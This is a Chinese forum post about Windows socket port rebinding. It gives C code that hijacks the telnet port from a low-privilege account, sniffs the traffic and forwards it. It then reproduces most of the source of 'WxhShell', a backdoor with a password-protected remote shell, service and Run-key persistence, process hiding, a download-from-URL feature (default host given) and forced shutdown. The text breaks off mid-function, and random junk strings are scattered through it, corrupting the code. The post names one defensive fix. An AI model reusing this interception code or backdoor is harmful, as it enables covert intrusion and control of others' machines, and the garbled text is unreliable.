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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8)&H=#E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c>{6NSS -  
!T@>Ld:  
  saddr.sin_family = AF_INET; -@b&qi7&S  
%;(+s7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DZ?>9W{  
N+rLbK*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^2[0cne  
f(=yC} si  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O$J'BnPpw  
lY[>}L*H8  
  这意味着什么?意味着可以进行如下的攻击: Ih!UL:Ckh  
[&k[k)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `9B xDp]I  
l"p%]\tZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |tP1,[w">  
6Ii2rEzD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fl>v9%A  
KS}Ci-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J xi>1  
-wtavv,J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fw ._  
I&3L1rl3{*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F IDNhu  
PQ.xmg2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "?Wwc d\  
AGQCk*dm  
  #include D"j =|4S#  
  #include %}j.6'`{  
  #include yc8FEn!)&  
  #include    1 h|cr_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2w)0>Y(_  
  int main() .!RBh LH_g  
  { -v8Jn# f  
  WORD wVersionRequested; ?/9]"HFHN  
  DWORD ret; {cnya*  
  WSADATA wsaData; a8rsF  
  BOOL val; Qzw~\KY:  
  SOCKADDR_IN saddr; {6^c3R[  
  SOCKADDR_IN scaddr; ?t$sju(\  
  int err; X?z5IL;rt  
  SOCKET s; m>k j@^SQ  
  SOCKET sc; l %=yT6  
  int caddsize; Y}7'OM  
  HANDLE mt; CTp~bGIv!=  
  DWORD tid;   N{46DS  
  wVersionRequested = MAKEWORD( 2, 2 ); -20o%t  
  err = WSAStartup( wVersionRequested, &wsaData ); p<Wb^BE  
  if ( err != 0 ) { xY(+[T!OF  
  printf("error!WSAStartup failed!\n"); K~z*P 0g*  
  return -1; iaQ[}'6!$  
  } .FK[Y?ci#  
  saddr.sin_family = AF_INET; J?)vsnD.H  
   oD4NQR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [@U8&W  
>};,Byv!%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~` @dI  
  saddr.sin_port = htons(23); Q~G+YjM3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xyj)W  
  { 10_eUQN  
  printf("error!socket failed!\n"); cR}}NF  
  return -1; B)O=wx  
  } OYzt>hdH  
  val = TRUE;  ^ 'FC.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GRCc<TM, U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YN?@ S  
  { JaKR#Y$+~  
  printf("error!setsockopt failed!\n"); Bwjd/id q  
  return -1; (9*s:)zD-  
  } Ziu f<X{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \#1!qeF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /D`M?nD7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `)\_  
>hoIJZP,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "Ol;0>$  
  { UBOCd[  
  ret=GetLastError(); KSIH1E  
  printf("error!bind failed!\n"); IJ!]1fXy+  
  return -1; m?'5*\(ST  
  } r(yJE1Wz  
  listen(s,2); RKdf1C  
  while(1) *h1Zqb  
  { F+*>q  
  caddsize = sizeof(scaddr); %56pP"w  
  //接受连接请求 Odxq]HlbO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hghtF  
  if(sc!=INVALID_SOCKET) B, xrZs  
  { L$zT`1Hy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <Xm5re.  
  if(mt==NULL) Oh6;o1UI  
  { "8ILV`[  
  printf("Thread Creat Failed!\n"); FI.S?gy0   
  break; a[\,K4l  
  } aw/Y#  
  }  4D"IAI  
  CloseHandle(mt); 1@yXVD/  
  } h#zx^F1  
  closesocket(s); g,Kb9['  
  WSACleanup(); ZB:Fjq  
  return 0; SOb17:o3|  
  }   $JqdI/s  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~53E)ilB  
  { WEqHL,Uh]  
  SOCKET ss = (SOCKET)lpParam; Xx:0Nt]  
  SOCKET sc; KD$P\(5#  
  unsigned char buf[4096]; 9r+`j  
  SOCKADDR_IN saddr; Vyj>&"28  
  long num; 1]A%lud4  
  DWORD val; $Bz|[=  
  DWORD ret; JnhHV(H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o%h\55S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B5#a 4G.  
  saddr.sin_family = AF_INET; UL; d H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @_Aqk{3  
  saddr.sin_port = htons(23); &|%z!x6f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VPys  
  { L}nj#z4g  
  printf("error!socket failed!\n"); 9XT6Gf56  
  return -1; ^*A/92!yF  
  } TnL%_!V!  
  val = 100; MgHyKn'rL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WaWT 5|A  
  { { YJ.BWr  
  ret = GetLastError(); zVxiCyU  
  return -1; [H0jDbN  
  } tFwQ /  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \b.2f+;3  
  { eQcy'GA06  
  ret = GetLastError(); A&$!s)8z  
  return -1; H b]    
  } o4Fh`?d}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mb0${n~fz  
  { IL3,dad'^  
  printf("error!socket connect failed!\n"); 8PXleAn  
  closesocket(sc); Y4@~NCU/  
  closesocket(ss); F5:*;E;$  
  return -1; :J(a;/~ip  
  } U(W#H|  
  while(1) J2aA"BhdC"  
  { n.$<D[@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )K@ 20Q+0K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gD=s~DgN)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bT[Q:#GL  
  num = recv(ss,buf,4096,0); @ )<uQ S  
  if(num>0) %E1~I\n:F  
  send(sc,buf,num,0); ?j8CkqX!  
  else if(num==0) 1Na CGD"  
  break; 5y=X?hF~)  
  num = recv(sc,buf,4096,0); iA^w2K  
  if(num>0) A6lf-8ncx  
  send(ss,buf,num,0); GaRL]w  
  else if(num==0) #%k5s?cP@  
  break; cJ!wZT`  
  } Lrq+0dI 65  
  closesocket(ss); L}>9@?;GW  
  closesocket(sc); ^%go\ C ;  
  return 0 ; e6s L N  
  } "~]9}KM}3W  
,"h$!k"$g  
T:; e73  
========================================================== (d#?\  
0R_ZP12  
下边附上一个代码,,WXhSHELL r+m8#uR  
WNm,r>6m  
==========================================================  `Yoafa  
qf)]!w U9  
#include "stdafx.h" Q=e?G300#L  
LYWQqxB  
#include <stdio.h> s4~c>voQB  
#include <string.h> yaR|d3ef?4  
#include <windows.h> ik&loM_  
#include <winsock2.h> ,Oxdqxu7  
#include <winsvc.h> @Z3b^G[  
#include <urlmon.h> 6K`frt  
"ajZ&{Z  
#pragma comment (lib, "Ws2_32.lib") 7t@jj%F  
#pragma comment (lib, "urlmon.lib") mXhr: e  
E8%O+x}  
#define MAX_USER   100 // 最大客户端连接数 _$cQAH0 E  
#define BUF_SOCK   200 // sock buffer 1-w1k ^e  
#define KEY_BUFF   255 // 输入 buffer Dm 'Q&  
=i:?4pIZ  
#define REBOOT     0   // 重启 "DRp4;  
#define SHUTDOWN   1   // 关机 ?_HTOOa  
)x( *T  
#define DEF_PORT   5000 // 监听端口 9oc[}k-M  
4+v~{  
#define REG_LEN     16   // 注册表键长度 %#7M~RB[  
#define SVC_LEN     80   // NT服务名长度 1ed#nB %  
j1/J9F'  
// 从dll定义API F!fxA#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oWXvkDN   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CuuHRvU8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <&H.pN1_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cG"jrQ  
"G`)x+<~Z8  
// wxhshell配置信息 vtL)  
struct WSCFG { )}paQmy#  
  int ws_port;         // 监听端口 >Pv%E  
  char ws_passstr[REG_LEN]; // 口令 dZnq 96<:|  
  int ws_autoins;       // 安装标记, 1=yes 0=no N.&)22<m9  
  char ws_regname[REG_LEN]; // 注册表键名 @Chj0wWZ>  
  char ws_svcname[REG_LEN]; // 服务名 yGS._;#R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W >B:W0A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 anl?4q3;9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J3q}DDnEo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]t #,{%h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N18Zsdrp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w7dG=a&  
VaQ}XM  
}; [$] JvF  
[dt1%DD`M  
// default Wxhshell configuration \UNw43EL  
struct WSCFG wscfg={DEF_PORT, 0 'L+9T5  
    "xuhuanlingzhe", !sR`]0  
    1, { 0Leua  
    "Wxhshell", "]JS,g {m  
    "Wxhshell", 66z1_ lA  
            "WxhShell Service", B&.XGo)  
    "Wrsky Windows CmdShell Service",  Rl 6E  
    "Please Input Your Password: ", =&}dP%3LC)  
  1, I.(/j  
  "http://www.wrsky.com/wxhshell.exe", '<XG@L  
  "Wxhshell.exe" /B1NcRS  
    }; a&y%|Gs^f  
/u#uC(Uwl  
// 消息定义模块 pLk?<y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FQ O6w'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8+GlM+>4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L {\B9b2  
char *msg_ws_ext="\n\rExit."; O<o_MZN  
char *msg_ws_end="\n\rQuit."; L4Kkbt<x  
char *msg_ws_boot="\n\rReboot..."; nk6xavQji  
char *msg_ws_poff="\n\rShutdown..."; u^:!!Suo  
char *msg_ws_down="\n\rSave to "; %2qvK}  
r0S"}<8O  
char *msg_ws_err="\n\rErr!"; nP_s+k  
char *msg_ws_ok="\n\rOK!"; U24?+/5D]  
#<!oA1MH4  
char ExeFile[MAX_PATH]; mtJI#P  
int nUser = 0; vw+ @'+  
HANDLE handles[MAX_USER]; oOJN?97!k  
int OsIsNt; *4+;E y  
?b2%\p`"  
SERVICE_STATUS       serviceStatus; % ]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +KD~/}C%-  
qW7S<ouh  
// 函数声明 Vh'H5v^  
int Install(void); j;<;?IW  
int Uninstall(void); Oja)J-QXb  
int DownloadFile(char *sURL, SOCKET wsh); &a-:ZA@  
int Boot(int flag); &HW%0lTs%  
void HideProc(void); }R.cqk\qa^  
int GetOsVer(void); =;c? 6{<1  
int Wxhshell(SOCKET wsl); v>0xHQD*<M  
void TalkWithClient(void *cs); ]36R_Dp  
int CmdShell(SOCKET sock); VJJw"4DJ  
int StartFromService(void); K3 "co1]u  
int StartWxhshell(LPSTR lpCmdLine); g^8bY=* .  
"K~+T\^|k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f*kT7PJG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WvNX%se]3  
4JP01lq'\  
// 数据结构和表定义 <W\~A$  
SERVICE_TABLE_ENTRY DispatchTable[] = 5/Swn9vwl  
{ zD2B hta y  
{wscfg.ws_svcname, NTServiceMain}, ~vaV=})  
{NULL, NULL} Fc42TH p  
}; 8M:;9a8fh  
R-hqaEB  
// 自我安装 Z/56JYt!~  
int Install(void) /koNcpJ  
{ RQ9T<t42  
  char svExeFile[MAX_PATH]; UZ&bT'>;9g  
  HKEY key; j3z&0sc2(0  
  strcpy(svExeFile,ExeFile); >l 'QX(  
_Z5l Nu  
// 如果是win9x系统,修改注册表设为自启动 uVOOw&q_  
if(!OsIsNt) { 0.|tKetHq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sDWX} NV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z]oa+W+  
  RegCloseKey(key); .ay K+6I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <@5#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hGD7/qTN  
  RegCloseKey(key); Lj({ T'f(  
  return 0; 7P!/jaw xb  
    } 0XL x@FYn  
  } PS(9?rX#+  
} :uhvDYp(-  
else { In=3#u ,M  
w doA>a?q  
// 如果是NT以上系统,安装为系统服务 CI$F#j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fd*=`+P  
if (schSCManager!=0) -Qqb/y  
{ op&,&  
  SC_HANDLE schService = CreateService Y( D d7`c  
  ( LK/gG6n5M0  
  schSCManager, tSE6m-  
  wscfg.ws_svcname, ]#))#-&1  
  wscfg.ws_svcdisp, $U"/.Mh\  
  SERVICE_ALL_ACCESS, b"x;i\Z0%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E{ Y0TZ+  
  SERVICE_AUTO_START, KdYT5VUM/  
  SERVICE_ERROR_NORMAL, y|iZuHS}  
  svExeFile, )d0&iE`@  
  NULL, p!U#53  
  NULL, O)&xT2'J  
  NULL, Yy>%dL  
  NULL, JL2IVENWc  
  NULL @5Ril9J[b  
  ); 0xIr:aFF  
  if (schService!=0) E^#|1Kpq  
  { U: gE:tf  
  CloseServiceHandle(schService); hG&RGN_<6+  
  CloseServiceHandle(schSCManager); 2%1 g%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {HvR24#  
  strcat(svExeFile,wscfg.ws_svcname); 1H-R-NNJ:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "op1xto  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  CG$S?  
  RegCloseKey(key); 6DR@$fpt  
  return 0; Fov/?:f$  
    } Y5cUOfYT  
  } *Rr,ii  
  CloseServiceHandle(schSCManager); mcS/-DaN?  
} aW4tJN%!  
} 8Tv;,a  
VH,k EbJ  
return 1; tG{e(  
} D\N-ye1LE  
)0fQ(3oOg  
// 自我卸载 burEo.=  
int Uninstall(void) k;;?3)!  
{ zUIh8cAoE  
  HKEY key; Z UAWSJ,s  
sB-c'`,w`  
if(!OsIsNt) { 0ydAdgD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zu^?9k  
  RegDeleteValue(key,wscfg.ws_regname); ?ti7iBz?  
  RegCloseKey(key); }9<aX Y,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |@Q(~[It  
  RegDeleteValue(key,wscfg.ws_regname);  .;iXe  
  RegCloseKey(key); 7+#^:;19`  
  return 0;  L~I<y;x  
  } /PQg>Pa85  
} .eK1xwhJ  
} i "62+  
else { 4h:Oo  
G/2@ Mn-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m*CIbkDsZ  
if (schSCManager!=0) VGWqy4m  
{ ,'={/)c<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~;wSe[  
  if (schService!=0) 1K0 9iB  
  { 8T$:^HW  
  if(DeleteService(schService)!=0) { gC<\1AIu  
  CloseServiceHandle(schService); C[n,j#Mvje  
  CloseServiceHandle(schSCManager); 6(D K\58  
  return 0; DY~~pi~  
  } {BY`Wu:w  
  CloseServiceHandle(schService); h8u(lIRHQ  
  } \ $X3n\  
  CloseServiceHandle(schSCManager); (@uQ>dR:  
} F@"X d9q?  
} uC 5mxZ  
7{v0K"E{  
return 1; ;T-i+_  
} W(~G^Xu  
_+z@Qn?#6h  
// 从指定url下载文件 *=~ 9?  
int DownloadFile(char *sURL, SOCKET wsh) *~prI1e(  
{ }I#;~|v~<  
  HRESULT hr; W{1=O)w  
char seps[]= "/"; I;uZ/cZ|/  
char *token; D'|#5>G  
char *file; cV&(L]k>`  
char myURL[MAX_PATH]; 9n |H%AC  
char myFILE[MAX_PATH]; #++MoW}'g  
F! c%&Z  
strcpy(myURL,sURL); VqVP5nT'=  
  token=strtok(myURL,seps); .7+_ubj&,  
  while(token!=NULL) ,UH`l./3DX  
  { ) ;-AT^  
    file=token; frc>0\  
  token=strtok(NULL,seps); 3L=vsvO4  
  } vb5tyY0c  
8 E.u3eS  
GetCurrentDirectory(MAX_PATH,myFILE); n KDX=73  
strcat(myFILE, "\\"); r,[vXxMy(;  
strcat(myFILE, file); VP0wa>50!  
  send(wsh,myFILE,strlen(myFILE),0); 7{."Y@  
send(wsh,"...",3,0); Lo7R^>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yY`<t  
  if(hr==S_OK) XZ Z Ml  
return 0; )I.[@#-  
else wEKm3mY;  
return 1; qJ5Y}/r  
z/6kxV89  
} \8{C$"F  
<`H:Am`  
// 系统电源模块 n&FN?"I/]  
int Boot(int flag) &P[eA u  
{ AM'-(x|  
  HANDLE hToken; -Ww'wH'2  
  TOKEN_PRIVILEGES tkp; :Oa|&.0l?  
'u_'y  
  if(OsIsNt) { gPQ2i])"Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rguC#Xt!4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #x':qBv#  
    tkp.PrivilegeCount = 1; -.ha\t0J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HQQc<7c ",  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s-o0N{b?#'  
if(flag==REBOOT) { }"Hf/{E$_"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C1)TEkc"C  
  return 0; (`!?p ^>A  
} i,<TaW*I  
else { + :iNoDz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m)=  -sD  
  return 0; w KXKc\r  
} i7cMe8  
  } RfEmkb<9Z  
  else { sJw3o7@pg  
if(flag==REBOOT) { !OPa `kSh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S=eY`,'#R  
  return 0; h+t{z"Ic=  
} F2!_Z=  
else { nFX8:fZ$>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gSL$silc  
  return 0; wrac\.  
} #N[nvIi}  
} ;W'y^jp]"  
6_^ u}me  
return 1; H2E!A2\m  
} ^r}^-  
>m44U 9   
// win9x进程隐藏模块 F4YCU$V  
void HideProc(void) `GqS.O}C  
{ a^,6[  
$X WJxQRUv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?VCb@&*  
  if ( hKernel != NULL ) bF|j%If%  
  { ncu &<j}U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =5[}&W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #'v7mEwt  
    FreeLibrary(hKernel); q,PB; TT  
  } ?U cW@B{  
UStZ3A'  
return; ?h<I:[oZ  
} :PY~Cws  
6AUXYbK,  
// 获取操作系统版本 vz#rbBY*;  
int GetOsVer(void) )?K3nr  
{ iNT1lk  
  OSVERSIONINFO winfo; IT'~.!o7/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bJx{mq  
  GetVersionEx(&winfo); Nye Ga  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %h4pIA  
  return 1; .px*.e s  
  else x5c pv  
  return 0; y4C_G?  
} ,fT5I6l  
X%h1r`h&  
// 客户端句柄模块 `Ft.Rwj2:m  
int Wxhshell(SOCKET wsl) BYqDC<Fq  
{ qCc'w8A  
  SOCKET wsh; 4IG'T m  
  struct sockaddr_in client; /H:'(W_b;  
  DWORD myID; ,}=x8Xxr  
%$~?DDNM  
  while(nUser<MAX_USER) 1YTnOiYS1  
{ ]O,!B''8k  
  int nSize=sizeof(client); y4/>3tz;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Q?7 xTQ  
  if(wsh==INVALID_SOCKET) return 1; )^|zuYzN  
]mn(lK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0"ZB|^c=  
if(handles[nUser]==0) _o8il3  
  closesocket(wsh); yLW iY~Fd  
else Vx~[;*{,C9  
  nUser++; H/|Mq#K  
  } ${8 1~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QDzFl1\P  
Y 'Yoc  
  return 0; C8m8ys  
} }e9E+2}Z\  
j\P47q'v#  
// 关闭 socket B;SYO>.W  
void CloseIt(SOCKET wsh) >/.-N  
{ j I_TN5  
closesocket(wsh); JcvWE $  
nUser--; W=M]1hy  
ExitThread(0); B+ud-M0  
} NJ/6_e  
_SJ#k|vcq  
// 客户端请求句柄 J)6RXt*!  
void TalkWithClient(void *cs) w-Y-;*S  
{ $A`D p{e"  
ac6L3=u\  
  SOCKET wsh=(SOCKET)cs; Q0Y0Zt,h  
  char pwd[SVC_LEN]; wcspqC"_  
  char cmd[KEY_BUFF]; c*'D  
char chr[1]; po}Jwx!  
int i,j; HpiP"Sl  
C:"Al-  
  while (nUser < MAX_USER) { y[UTuFv~Q  
npkE [JE:  
if(wscfg.ws_passstr) { yEJ}!/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EEEYNu/4/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^%@(> :)0  
  //ZeroMemory(pwd,KEY_BUFF); ZxlQyr`~a(  
      i=0; f]tc$`vb  
  while(i<SVC_LEN) { OxqK} %=Bw  
V*@pmOhz  
  // 设置超时 EJ`JN|,M  
  fd_set FdRead; YLVIn_\}  
  struct timeval TimeOut; %G1kkcdH<  
  FD_ZERO(&FdRead); t|0Zpp;  
  FD_SET(wsh,&FdRead); ^G.PdX$M  
  TimeOut.tv_sec=8; 2j9Mr  
  TimeOut.tv_usec=0; P3jDx{F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4yW9}=N!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oyZ}JTl( Q  
R3`!Xj#&M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FaYDa  
  pwd=chr[0]; Bd*:y qi  
  if(chr[0]==0xd || chr[0]==0xa) { 9XImgeAs  
  pwd=0; .uG|Vq1v  
  break; eGwrSF#a)  
  } S c_#BD.  
  i++; :@a8>i1&  
    } 7dhip  
;i\m:8!;  
  // 如果是非法用户,关闭 socket \R#]}g0!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Squ'd  
} 78&jaw*1A  
'gHa3:US  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V`sINX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;^za/h>r  
PzbLbH8A  
while(1) { X-%XZD B6  
pJ!:mt  
  ZeroMemory(cmd,KEY_BUFF); 0Ah'G  
|dcRDOTe  
      // 自动支持客户端 telnet标准   dY'/\dJ  
  j=0; l ?RsXC  
  while(j<KEY_BUFF) { \_;z m+ <{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &,/_"N"?D  
  cmd[j]=chr[0]; #!(OTe L  
  if(chr[0]==0xa || chr[0]==0xd) { 6}zargu(;  
  cmd[j]=0; c193Or'6Y  
  break;  MO|aN,  
  } [}Vne;V  
  j++; oh c/{D2  
    } 4n_f7'GZg  
mcvd/  
  // 下载文件 7~n<%q/6  
  if(strstr(cmd,"http://")) { VX0q!Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^EY^.?Mg  
  if(DownloadFile(cmd,wsh)) p2s*'dab7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N]f"+  
  else N=R|s$,Oy9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fgcI55&jV{  
  } nA$zp  
  else { 1 ;Bgtv$  
J%]< /J  
    switch(cmd[0]) { -8H0f- 1  
  (`<X9w,  
  // 帮助 f'._{"  
  case '?': { ',`GdfAsH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *F7ksLH|q  
    break; r/E'#5 Q  
  } Ni "n_Yun  
  // 安装 kH:! 7L_=  
  case 'i': { $*a'[Qot#  
    if(Install()) Tv2d?y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J?`gl&C  
    else 2w6 y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9,8}4Y=GVI  
    break; mT  enzIp  
    } Z#w@ /!"}T  
  // 卸载 )w\E^  
  case 'r': { {Yp>h5nwM_  
    if(Uninstall()) it?l! ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2eNA#^T=  
    else RE~:+.eB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t0t" =(d  
    break; L9L!V"So1k  
    } ]3UEju8$  
  // 显示 wxhshell 所在路径 ';<gc5EK  
  case 'p': { }?^V9K-  
    char svExeFile[MAX_PATH]; ]7W !  
    strcpy(svExeFile,"\n\r"); W6cA@DN$#  
      strcat(svExeFile,ExeFile); aLzRbRv  
        send(wsh,svExeFile,strlen(svExeFile),0); +JQ/DNv  
    break; 24;F~y8H  
    } ]!l]^/ .  
  // 重启 Y*oT (  
  case 'b': { 6, =oTmFP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NJ" d`  
    if(Boot(REBOOT)) R Ptc \4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lI#Ap2@  
    else { iBlZw%zKP  
    closesocket(wsh); a W1y0  
    ExitThread(0); ^B)iBf Z  
    } t\& u  
    break; w=]id'`?q  
    } Qe8F(k~k  
  // 关机 B[2 qI7D$  
  case 'd': { ue?e}hF  
